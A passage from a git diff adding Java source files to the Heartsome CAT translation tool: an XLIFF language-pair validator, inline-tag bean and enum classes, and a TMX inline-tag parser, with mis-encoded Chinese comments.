net.heartsome.cat.common.file; + +import java.io.File; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Vector; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.core.resource.Messages; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.filesystem.URIUtil; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.MessageDialogWithToggle; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class XLFValidator { + + public static Logger logger = LoggerFactory.getLogger(XLFValidator.class); + + private static Shell shell; + + public static boolean blnMsg1 = false; + + public static boolean blnIsOpenConfirmSrc = false; + + /** 选择ä¸å†è¯¢é—®æ—¶ï¼Œç‚¹å‡»çš„按钮类型 */ + public static boolean blnIsOpenConfirmSrcY = false; + + public static boolean blnIsOpenConfirmTgt = false; + + /** 选择ä¸å†è¯¢é—®æ—¶ï¼Œç‚¹å‡»çš„按钮类型 */ + public static boolean blnIsOpenConfirmTgtY = false; + + private static HashMap mapProjectLang = new HashMap(); + + /** + * éªŒè¯ XLIFF 文件的语言对是å¦ä¸Žé¡¹ç›®çš„语言对一致。 + * @param iFile + * ; + * @throws XPathEvalException + * @throws XPathParseException + * @throws NavException + */ + public static boolean validateXliffFile(IFile iFile) { + shell = Display.getDefault().getActiveShell(); + try { + Object[] arrObj = getProjectLang(iFile); + if (arrObj == null) { + return false; + } + String xlfFolderPath = iFile.getProject().getFullPath().append(Constant.FOLDER_XLIFF).toOSString(); + String xlfFullPath = iFile.getFullPath().toOSString(); + if (!xlfFullPath.startsWith(xlfFolderPath) + || iFile.getParent().getFullPath().toOSString().equals(xlfFolderPath)) { + // 该 XLIFF 文件是 XLIFF 目录的直接å­æ–‡ä»¶æˆ–者ä¸åœ¨ XLIFF 的目录下 + if (!blnMsg1) { + MessageDialogWithToggle dialog = MessageDialogWithToggle.openInformation(shell, + Messages.getString("file.XLFValidator.msgTitle"), + MessageFormat.format(Messages.getString("file.XLFValidator.msg1"), xlfFullPath), + Messages.getString("file.XLFValidator.toggleStateMsg"), false, null, null); + + blnMsg1 = dialog.getToggleState(); + } + return false; + } + Language projectSrcLang = (Language) arrObj[0]; + @SuppressWarnings("unchecked") + List lstProjectTgtLang = (List) arrObj[1]; + // /test/XLIFF/zh-CN/split/test.xlf (zh-CN 在第三级目录下) + String parentName = xlfFullPath.split(System.getProperty("file.separator").replaceAll("\\\\", "\\\\\\\\"))[3]; + + Vector languageVector = new Vector(); + languageVector.add(parentName); + if (LocaleService.verifyLanguages(languageVector)) { + boolean flag = false; + for (Language lang : lstProjectTgtLang) { + if (lang.getCode().equalsIgnoreCase(parentName)) { + flag = true; + break; + } + } + if (!flag) { + if (!blnMsg1) { + MessageDialogWithToggle dialog = MessageDialogWithToggle.openInformation(shell, + Messages.getString("file.XLFValidator.msgTitle"), + MessageFormat.format(Messages.getString("file.XLFValidator.msg2"), xlfFullPath), + Messages.getString("file.XLFValidator.toggleStateMsg"), false, null, null); + blnMsg1 = dialog.getToggleState(); + } + return false; + } + } else { + if (!blnMsg1) { + MessageDialogWithToggle dialog = MessageDialogWithToggle.openInformation(shell, + Messages.getString("file.XLFValidator.msgTitle"), + MessageFormat.format(Messages.getString("file.XLFValidator.msg3"), xlfFullPath), + Messages.getString("file.XLFValidator.toggleStateMsg"), false, null, null); + blnMsg1 = dialog.getToggleState(); + } + return false; + } + + String xlfSrcLang = null; + String xlfTgtLang = null; + VTDGen vg = new VTDGen(); + XMLModifier xm = null; + boolean isConfirmSrc = false; + boolean isConfirmTgt = false; + String fileOsPath = ResourceUtils.iFileToOSPath(iFile); + boolean result = false; + try { + result = vg.parseFile(fileOsPath, true); + } catch (Exception e) { + } + if (!result) { + MessageDialog.openError(shell, Messages.getString("file.XLFValidator.errorTitle"), + MessageFormat.format(Messages.getString("file.XLFValidator.parseError"), fileOsPath)); + return false; + } + VTDNav vn = vg.getNav(); + VTDUtils vu = new VTDUtils(vn); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + ap.selectXPath("/xliff/file"); + String original = null; + int tempi = ap.evalXPath(); + if (tempi == -1) { + MessageDialog.openError(shell, Messages.getString("file.XLFValidator.errorTitle"), + MessageFormat.format(Messages.getString("file.XLFValidator.parseError"), fileOsPath)); + return false; + } + do { + xlfSrcLang = vu.getCurrentElementAttribut("source-language", null); + xlfTgtLang = vu.getCurrentElementAttribut("target-language", null); + original = vu.getCurrentElementAttribut("original", null); + + String msg = null; + // XLIFF æºè¯­è¨€ä¸ºç©ºæˆ–与项目æºè¯­è¨€ä¸ä¸€è‡´ï¼› + if (xlfSrcLang == null || !xlfSrcLang.equalsIgnoreCase(projectSrcLang.getCode())) { + if (!blnIsOpenConfirmSrc && !isConfirmSrc) { + if (xlfSrcLang == null) { + msg = MessageFormat.format(Messages.getString("file.XLFValidator.msg4"), xlfFullPath, + projectSrcLang.getCode()); + } else { + msg = MessageFormat.format(Messages.getString("file.XLFValidator.msg5"), xlfFullPath, + xlfSrcLang.toLowerCase(), projectSrcLang.getCode()); + } + MessageDialogWithToggle dialog = new MessageDialogWithToggle(shell, + Messages.getString("file.XLFValidator.msgTitle2"), null, msg, MessageDialog.CONFIRM, + new String[] { IDialogConstants.YES_LABEL, IDialogConstants.NO_LABEL }, 0, + Messages.getString("file.XLFValidator.toggleStateMsg"), false); + int returnCode = dialog.open(); + if (returnCode == IDialogConstants.YES_ID) { + isConfirmSrc = true; + blnIsOpenConfirmSrcY = true; + } else if (returnCode == IDialogConstants.NO_ID) { + isConfirmSrc = false; + blnIsOpenConfirmSrcY = false; + } + blnIsOpenConfirmSrc = dialog.getToggleState(); + } + if ((isConfirmSrc || (blnIsOpenConfirmSrc && blnIsOpenConfirmSrcY)) && xlfSrcLang != null) { + xm = vu.update(null, xm, "/xliff/file[@original=\"" + original + "\"]/@source-language", + projectSrcLang.getCode(), VTDUtils.CREATE_IF_NOT_EXIST); + } else if (!isConfirmSrc && !(blnIsOpenConfirmSrc && blnIsOpenConfirmSrcY)) { + return false; + } + } + + // XLIFF 目标语言为空,(且其所在的 XLIFF 一级å­ç›®å½•å称是项目的目标语言代ç ä¹‹ä¸€,已在上é¢éªŒè¯ï¼‰ç›´æŽ¥è®¾ç½® + if (xlfTgtLang == null || xlfSrcLang == null) { + // XLIFF 文件中æºä¸Žç›®æ ‡éƒ½ä¸ºç©ºæ—¶ï¼Œç”±äºŽ VTD è¦æ±‚ä¸èƒ½åœ¨ä¸€ä¸ªä½ç½®ä¿®æ”¹ä¸¤æ¬¡ï¼Œå› æ­¤ä½¿ç”¨ä¸‹é¢çš„æ–¹å¼æ’å…¥æºä¸Žç›®æ ‡åˆ° file 节点中 + if (xlfTgtLang == null && xlfSrcLang == null) { + String attrFragment = new StringBuffer(" source-language=\"").append(projectSrcLang.getCode()) + .append("\" target-language=\"").append(parentName).append("\"").toString(); // 构建属性片段,“ + // attrName="attrValue" + // †+ long i = vn.getOffsetAfterHead(); // 得到开始标记的结æŸä½ç½® + if (xm == null) { + xm = new XMLModifier(vn); + } + if (vn.getEncoding() < VTDNav.FORMAT_UTF_16BE) { + xm.insertBytesAt((int) i - 1, attrFragment.getBytes()); + } else { + xm.insertBytesAt(((int) i - 1) << 1, attrFragment.getBytes()); + } + } else if (xlfTgtLang == null) { + xm = vu.update(null, xm, "/xliff/file[@original=\"" + original + "\"]/@target-language", + parentName, VTDUtils.CREATE_IF_NOT_EXIST); + } else if (xlfSrcLang == null) { + xm = vu.update(null, xm, "/xliff/file[@original=\"" + original + "\"]/@source-language", + projectSrcLang.getCode(), VTDUtils.CREATE_IF_NOT_EXIST); + } + } + if (xlfTgtLang != null) { + // XLIFF 目标语言éžç©ºï¼Œä½†æœªæ”¾åœ¨å¯¹åº”的目录下。 + boolean flag = false; + for (Language lang : lstProjectTgtLang) { + if (lang.getCode().equalsIgnoreCase(xlfTgtLang)) { + flag = true; + break; + } + } + String message = null; + if (!flag) { + message = MessageFormat.format(Messages.getString("file.XLFValidator.msg6"), xlfFullPath, + xlfTgtLang, parentName); + } else if (!xlfTgtLang.equalsIgnoreCase(parentName)) { + message = MessageFormat.format(Messages.getString("file.XLFValidator.msg7"), xlfFullPath, + xlfTgtLang, parentName); + } + if (!blnIsOpenConfirmTgt && !isConfirmTgt && message != null) { + MessageDialogWithToggle dialog = new MessageDialogWithToggle(shell, + Messages.getString("file.XLFValidator.msgTitle2"), null, message, + MessageDialog.CONFIRM, new String[] { IDialogConstants.YES_LABEL, + IDialogConstants.NO_LABEL }, 0, + Messages.getString("file.XLFValidator.toggleStateMsg"), false); + int returnCode = dialog.open(); + if (returnCode == IDialogConstants.YES_ID) { + isConfirmTgt = true; + blnIsOpenConfirmTgtY = true; + } else if (returnCode == IDialogConstants.NO_ID) { + isConfirmTgt = false; + blnIsOpenConfirmTgtY = false; + } + blnIsOpenConfirmTgt = dialog.getToggleState(); + } + if ((blnIsOpenConfirmTgt && blnIsOpenConfirmTgtY) || isConfirmTgt) { + xm = vu.update(null, xm, "/xliff/file[@original=\"" + original + "\"]/@target-language", + parentName, VTDUtils.CREATE_IF_NOT_EXIST | VTDUtils.PILOT_TO_END); + // vu.bind(xm.outputAndReparse()); + } else if (message != null) { + return false; + } + } + + // Bug #2329:文件语言更改æˆé¡¹ç›®è¯­è¨€æ—¶åº”åŒæ—¶æ›´æ”¹ source 节点的 xml:lang 属性值,如果 target 节点有 xml:lang 属性,也è¦ä¿®æ”¹æˆé¡¹ç›®è¯­è¨€ + xm = vu.update(null, xm, "/xliff/file[@original=\"" + original + + "\"]/body//trans-unit/source/@xml:lang", projectSrcLang.getCode(), + VTDUtils.CREATE_IF_NOT_EXIST | VTDUtils.PILOT_TO_END); + xm = vu.update(null, xm, "/xliff/file[@original=\"" + original + + "\"]/body//trans-unit/target/@xml:lang", parentName, VTDUtils.PILOT_TO_END); + } while (ap.evalXPath() != -1); + if (xm != null) { + // vu.bind(xm.outputAndReparse()); + vu.bind(vu.updateVTDNav(xm, ResourceUtils.iFileToOSPath(iFile))); + } + vg.clear(); + iFile.getProject().refreshLocal(IResource.DEPTH_INFINITE, null); + } catch (XPathParseException e) { + e.printStackTrace(); + logger.error(Messages.getString("file.XLFValidator.logger1"), e); + MessageDialog.openInformation(shell, Messages.getString("file.XLFValidator.msgTitle"), + Messages.getString("file.XLFValidator.msg8")); + return false; + } catch (XPathEvalException e) { + e.printStackTrace(); + logger.error(Messages.getString("file.XLFValidator.logger1"), e); + MessageDialog.openInformation(shell, Messages.getString("file.XLFValidator.msgTitle"), + Messages.getString("file.XLFValidator.msg8")); + return false; + } catch (NavException e) { + e.printStackTrace(); + logger.error(Messages.getString("file.XLFValidator.logger1"), e); + MessageDialog.openInformation(shell, Messages.getString("file.XLFValidator.msgTitle"), + Messages.getString("file.XLFValidator.msg8")); + return false; + } catch (CoreException e) { + logger.error("", e); + } catch (ModifyException e) { + logger.error("", e); + } + return true; + } + + public static boolean validateXliffFile(String fileLocalPath) { + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + IFile file = root.getFileForLocation(URIUtil.toPath(new File(fileLocalPath).toURI())); + if (file == null) { + Shell shell = Display.getDefault().getActiveShell(); + MessageDialog.openError(shell, Messages.getString("file.XLFValidator.msgTitle"), + Messages.getString("file.XLFValidator.msg9")); + return false; + } + return validateXliffFile(file); + } + + public static boolean validateXlifFileStr(List files) { + + for (String file : files) { + if (!validateXliffFile(file)) { + return false; + } + } + return true; + } + + public static boolean validateXliffFile(File file) { + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + IFile ifile = root.getFileForLocation(URIUtil.toPath(file.toURI())); + if (ifile == null) { + Shell shell = Display.getDefault().getActiveShell(); + MessageDialog.openError(shell, Messages.getString("file.XLFValidator.msgTitle"), + Messages.getString("file.XLFValidator.msg9")); + return false; + } + return validateXliffFile(ifile); + } + + public static boolean validateXlifFiles(List files) { + for (File file : files) { + if (!validateXliffFile(file)) { + return false; + } + } + return true; + } + + public static boolean validateXlifIFiles(List files) { + for (IFile file : files) { + if (!validateXliffFile(file)) { + return false; + } + } + return true; + } + + public static void resetFlag() { + blnMsg1 = false; + blnIsOpenConfirmSrc = false; + blnIsOpenConfirmSrcY = false; + blnIsOpenConfirmTgt = false; + blnIsOpenConfirmTgtY = false; + mapProjectLang.clear(); + } + + /** + * èŽ·å– iFile 所在项目的æºè¯­è¨€ä¸Žç›®æ ‡è¯­è¨€ + * @param iFile + * @return 数组中的第一个值为æºè¯­è¨€ï¼Œç±»åž‹ä¸º Language;第二个值为目标语言集åˆï¼Œç±»åž‹ä¸º List + * @throws NavException + * @throws XPathParseException + * @throws XPathEvalException + * ; + */ + private static Object[] getProjectLang(IFile iFile) throws NavException, XPathParseException, XPathEvalException { + String projectFilePath = iFile.getProject().getLocation().toOSString() + System.getProperty("file.separator") + + ".config"; + if (mapProjectLang.containsKey(projectFilePath)) { + return mapProjectLang.get(projectFilePath); + } + + VTDGen vg = new VTDGen(); + if (vg.parseFile(projectFilePath, true)) { + VTDNav vn = vg.getNav(); + VTDUtils vu = new VTDUtils(vn); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/projectDescription/hs/language/source"); + Object[] arrObj = new Object[2]; + if (ap.evalXPath() != -1) { + String code = vu.getCurrentElementAttribut("code", ""); + String name = vu.getElementContent(); + String image = vu.getCurrentElementAttribut("image", ""); + String isBidi = vu.getCurrentElementAttribut("isbidi", "No"); + arrObj[0] = new Language(code, name, image, isBidi.equals("NO") ? false : true); + } + ap.selectXPath("/projectDescription/hs/language/target"); + List targetLangs = new ArrayList(); + while (ap.evalXPath() != -1) { + String code = vu.getCurrentElementAttribut("code", ""); + String name = vu.getElementContent(); + String image = vu.getCurrentElementAttribut("image", ""); + String isBidi = vu.getCurrentElementAttribut("isbidi", "false"); + targetLangs.add(new Language(code, name, image, isBidi.equals("false") ? false : true)); + } + arrObj[1] = targetLangs; + return arrObj; + } else { + return null; + } + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/InnerTagBean.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/InnerTagBean.java new file mode 100644 index 0000000..0af6cb8 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/InnerTagBean.java @@ -0,0 +1,165 @@ +package net.heartsome.cat.common.innertag; + +import org.apache.commons.lang.builder.EqualsBuilder; + +/** + * 内部标记实体类 + * @author weachy + * @version + * @since JDK1.5 + */ +public class InnerTagBean { + + /** + * 内部标记实体类 + */ + public InnerTagBean() { + } + + /** + * 内部标记实体类 + * @param index + * 标记索引 + * @param name + * 标记å + * @param content + * 标记内容 + * @param type + * 标记类型 + */ + public InnerTagBean(int index, String name, String content, TagType type) { + this(index, name, content, type, false); + } + + /** + * 内部标记实体类 + * @param index + * 标记索引 + * @param name + * 标记å + * @param content + * 标记内容 + * @param type + * 标记类型 + * @param wrongTag + * 错误标记标识 + */ + public InnerTagBean(int index, String name, String content, TagType type, boolean wrongTag) { + this.index = index; + this.name = name; + this.content = content; + this.type = type; + this.wrongTag = wrongTag; + } + + /** 标记索引 */ + private int index; + + /** 标记å */ + private String name; + + /** 标记内容 */ + private String content; + + /** 标记类型 */ + private TagType type; + + /** 错误标记 */ + private boolean wrongTag; + + /** + * 获å–标记索引 + * @return 标记索引; + */ + public int getIndex() { + return index; + } + + /** + * 设置标记索引 + * @param index + * 标记索引; + */ + public void setIndex(int index) { + this.index = index; + } + + /** + * 获å–标记å + * @return 标记å; + */ + public String getName() { + return name; + } + + /** + * 设置标记å + * @param name + * 标记å; + */ + public void setName(String name) { + this.name = name; + } + + /** + * 获å–标记内容 + * @return 标记内容; + */ + public String getContent() { + return content; + } + + /** + * 设置标记内容 + * @param content + * 标记内容; + */ + public void setContent(String content) { + this.content = content; + } + + /** + * 获å–标记类型 + * @return 标记类型 + */ + public TagType getType() { + return type; + } + + /** + * 设置标记类型 + * @param type + * 标记类型 + */ + public void setType(TagType type) { + this.type = type; + } + + /** + * 设置为错误标记 + * @param wrongTag + * 错误标记标识 ; + */ + public void setWrongTag(boolean wrongTag) { + this.wrongTag = wrongTag; + } + + /** + * 是å¦ä¸ºé”™è¯¯æ ‡è®° + */ + public boolean isWrongTag() { + return wrongTag; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null || !(obj instanceof InnerTagBean)) { + return false; + } + InnerTagBean that = (InnerTagBean) obj; + return new EqualsBuilder().append(that.content, this.content).append(that.index, this.index).append(that.type, + this.type).isEquals(); + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/TagStyle.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/TagStyle.java new file mode 100644 index 0000000..1188aeb --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/TagStyle.java @@ -0,0 +1,106 @@ +package net.heartsome.cat.common.innertag; + +import net.heartsome.cat.common.core.CoreActivator; + +import org.eclipse.jface.preference.IPreferenceStore; + +public enum TagStyle { + + /** + * 索引标记样å¼ã€‚仅显示标记索引。 + */ + INDEX, + + /** + * 简å•æ ‡è®°æ ·å¼ã€‚显示标记å称以åŠç´¢å¼•ã€‚ + */ + SIMPLE, + + /** + * 完整标记样å¼ã€‚显示标记全部内容以åŠç´¢å¼•ã€‚ + */ + FULL; + + public static TagStyle curStyle; + + /** + * å–å¾—ä¸‹ä¸€ä¸ªæ ‡è®°æ ·å¼ + * @return ; + */ + public TagStyle getNextStyle() { + switch (this) { + case INDEX: { + curStyle = SIMPLE; + return SIMPLE; + } + case SIMPLE: { + curStyle = FULL; + return FULL; + } + case FULL: { + curStyle = INDEX; + return INDEX; + } + default: { + curStyle = SIMPLE; + return SIMPLE; + } + } + } + + /** + * å¾—åˆ°é»˜è®¤çš„æ ‡è®°æ ·å¼ + * @return ; + */ + public static TagStyle getDefault() { + IPreferenceStore store = CoreActivator.getDefault().getPreferenceStore(); + int styleIndex = store.getInt("net.heartsome.cat.common.innertag.TagStyle.defaultStyle"); + if (styleIndex == 0) { + curStyle = INDEX; + } else if (styleIndex == 1) { + curStyle = SIMPLE; + } else if (styleIndex == 2) { + curStyle = FULL; + } + return curStyle; + } + + /** + * å¾—åˆ°é»˜è®¤çš„æ ‡è®°æ ·å¼ + * @param isInitCurStyle + * 是å¦åˆå§‹åŒ– curStyle å˜é‡(åªæœ‰ XLIFF 编辑器中的 curStyle æ‰éœ€è¦åˆå§‹åŒ–,其他的视图ä¸éœ€è¦ï¼Œå¦‚记忆库匹é…视图) + * @return ; + */ + public static TagStyle getDefault(boolean isInitCurStyle) { + if (isInitCurStyle) { + return getDefault(); + } else { + return INDEX; + } + } + + public static void setTagStyle(TagStyle style) { + curStyle = style; + IPreferenceStore store = CoreActivator.getDefault().getPreferenceStore(); + int styleIndex = -1; + switch (style) { + case INDEX: { + styleIndex = 0; + break; + } + case SIMPLE: { + styleIndex = 1; + break; + } + case FULL: { + styleIndex = 2; + break; + } + default: { + styleIndex = 1; + break; + } + } + store.setValue("net.heartsome.cat.common.innertag.TagStyle.defaultStyle", styleIndex); + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/TagType.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/TagType.java new file mode 100644 index 0000000..1e45d7f --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/TagType.java @@ -0,0 +1,19 @@ +package net.heartsome.cat.common.innertag; + +public enum TagType { + + /** + * 独立标记类型。å³å¯ä»¥éšæ„放置的标记。 + */ + STANDALONE, + + /** + * 开始标记类型。å³å¿…须放在æˆå¯¹çš„结æŸæ ‡è®°å‰çš„标记。 + */ + START, + + /** + * 结æŸæ ‡è®°ç±»åž‹ã€‚å³å¿…须放在æˆå¯¹çš„开始标记å‰çš„标记。 + */ + END +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/TmxInnerTagParser.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/TmxInnerTagParser.java new file mode 100644 index 0000000..0f83563 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/innertag/TmxInnerTagParser.java @@ -0,0 +1,198 @@ +/** + * InnerTagParser.java + * + * Version information : + * + * Date:2013-6-6 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.common.innertag; + +import static net.heartsome.cat.common.innertag.TagType.END; +import static net.heartsome.cat.common.innertag.TagType.STANDALONE; +import static net.heartsome.cat.common.innertag.TagType.START; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Stack; + +import net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder; +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TmxInnerTagParser { + + private final List standaloneTags = Arrays.asList("x", "bx", "ex", "ph", "ut", "hi"); + private final List normalTags = Arrays.asList("g", "bpt", "ept", "ph", "it", "mrk", "sub", "ut", "hi"); + private IPlaceHolderBuilder placeHolderCreater = new PlaceHolderEditModeBuilder(); + + private static TmxInnerTagParser instance; + + public static TmxInnerTagParser getInstance() { + if (instance == null) { + instance = new TmxInnerTagParser(); + } + return instance; + } + + private TmxInnerTagParser() { + + } + + public IPlaceHolderBuilder getPlaceHolderBuilder() { + return placeHolderCreater; + } + + Stack indexStack = new Stack(); // 索引缓存,用于处ç†æˆå¯¹æ ‡è®° + List innertTags = new ArrayList();; + int maxIndex = 0; + boolean hasStartTag = false; + int start = -1; + + private void resetParser() { + if (innertTags != null) { + innertTags.clear(); + } + indexStack.clear(); // ç´¢å¼•é›†åˆ + start = -1; + maxIndex = 0; + hasStartTag = false; + } + + public List parseInnerTag(StringBuilder xmlSb) { + if (xmlSb == null || xmlSb.length() == 0) { + return new ArrayList(); + } + while ((start = xmlSb.indexOf("<", start + 1)) > -1) { + int end = xmlSb.indexOf(">", start + 1); + if (end > -1) { + String xmlTag = xmlSb.substring(start, end + 1); // æå–出的内部标记xmlå½¢å¼çš„文本 + String tagName = getTagName(xmlTag); + if (xmlTag.indexOf("/>", 1) > -1) { // 独立标签 + if (standaloneTags.contains(tagName) || normalTags.contains(tagName)) { + // if ("bx".equals(tagName)) { + // addInnerTagBean(START, xmlSb, xmlTag, tagName); + // } else if ("ex".equals(tagName)) { + // addInnerTagBean(END, xmlSb, xmlTag, tagName); + // } else { + addInnerTagBean(STANDALONE, xmlSb, xmlTag, tagName); + // } + } + } else if (xmlTag.indexOf(" -1) { // 结æŸæ ‡ç­¾ + if (normalTags.contains(tagName)) { + addInnerTagBean(END, xmlSb, xmlTag, tagName); + } + } else if (xmlTag.indexOf(">") > -1) { // 开始标签 + if (normalTags.contains(tagName)) { + if ("bpt".equals(tagName)) { + int endIndex = xmlSb.indexOf("", start) + "".length(); + xmlTag = xmlSb.substring(start, endIndex); + xmlSb.replace(start, endIndex, xmlTag); + addInnerTagBean(START, xmlSb, xmlTag, tagName); + } else if ("ept".equals(tagName)) { + int endIndex = xmlSb.indexOf("", start) + "".length(); + xmlTag = xmlSb.substring(start, endIndex); + xmlSb.replace(start, endIndex, xmlTag); + addInnerTagBean(END, xmlSb, xmlTag, tagName); + } else if ("ph".equals(tagName) || "it".equals(tagName)|| "ut".equals(tagName)) { + String tempTagName = ""; + int endIndex = xmlSb.indexOf(tempTagName, start) + tempTagName.length(); + xmlTag = xmlSb.substring(start, endIndex); + xmlSb.replace(start, endIndex, xmlTag); + addInnerTagBean(STANDALONE, xmlSb, xmlTag, tagName); + } else { + addInnerTagBean(START, xmlSb, xmlTag, tagName); + } + } + } + } + } + ArrayList result = new ArrayList(); + result.addAll(innertTags); + resetParser(); + return result; + } + + private void addInnerTagBean(TagType tagType, StringBuilder text, String tagContent, String tagName) { + int index = -1; + if (tagType == START) { + hasStartTag = true; + maxIndex++; + indexStack.push(maxIndex); + index = maxIndex; + } else if (tagType == END) { + if (!hasStartTag) { + maxIndex++; + indexStack.push(maxIndex); + } + hasStartTag = false; + if (!indexStack.empty()) { + index = indexStack.pop(); + } + } else if (tagType == STANDALONE) { + maxIndex++; + index = maxIndex; + } + + if (index > -1) { + InnerTagBean bean = new InnerTagBean(index, tagName, tagContent, tagType); + innertTags.add(bean); + + String placeHolder = placeHolderCreater.getPlaceHolder(innertTags, innertTags.size() - 1); + text.replace(start, start + tagContent.length(), placeHolder); + // 显示完整标记时,start è®¡ç®—é”™è¯¯ï¼Œå› æ­¤æ·»åŠ ä¸‹è¡Œè¯­å¥ + start += placeHolder.length() - 1; + } + } + + /** + * 得到标记的å称 + * @param xmlTag + * XMLæ ¼å¼çš„标记 + * @return 标记å称; + */ + private static String getTagName(String xmlTag) { + if (xmlTag.indexOf(" -1) { // 结æŸæ ‡è®° + return xmlTag.substring(2, xmlTag.length() - 1); + } + int end = xmlTag.indexOf("/>", 1); // 独立标记 + if (end == -1) { + end = xmlTag.length() - 1; // 开始标记 + } + int tempIndex = xmlTag.indexOf(" ", 1); + if (tempIndex > -1 && tempIndex < end) { + end = tempIndex; + } + return xmlTag.substring(1, end); + } + + /** + * 获å– tmx 的纯文本 robert 2013-07-08 + * @param content + * @return + */ + public String getTmxPureText(String fullText) { + if (fullText == null || fullText.isEmpty()) { + return fullText; + } + StringBuilder b = new StringBuilder(fullText); + parseInnerTag(b); + return PlaceHolderEditModeBuilder.PATTERN.matcher(b.toString()).replaceAll(""); + } + + public static void main(String[] args) { + String text = "<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Quickly and easily make backup copies of all my files<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Automatically backs up all your files whenever your PC is idle or at pre-determined<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> intervals<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Have backup copies of all my files<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> With unlimited storage capacity, you don't have to decide which file is important<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> enough to backup and which isn't<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Have all my backup copies stored in a safe place in the event of PC crash, loss,<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> theft, or a natural disaster<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> Backs up all your files to a secure offsite server that is accessible online<mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk mtype="protected"></mrk><mrk mtype="protected"></mrk> <mrk mtype="protected"></mrk><mrk 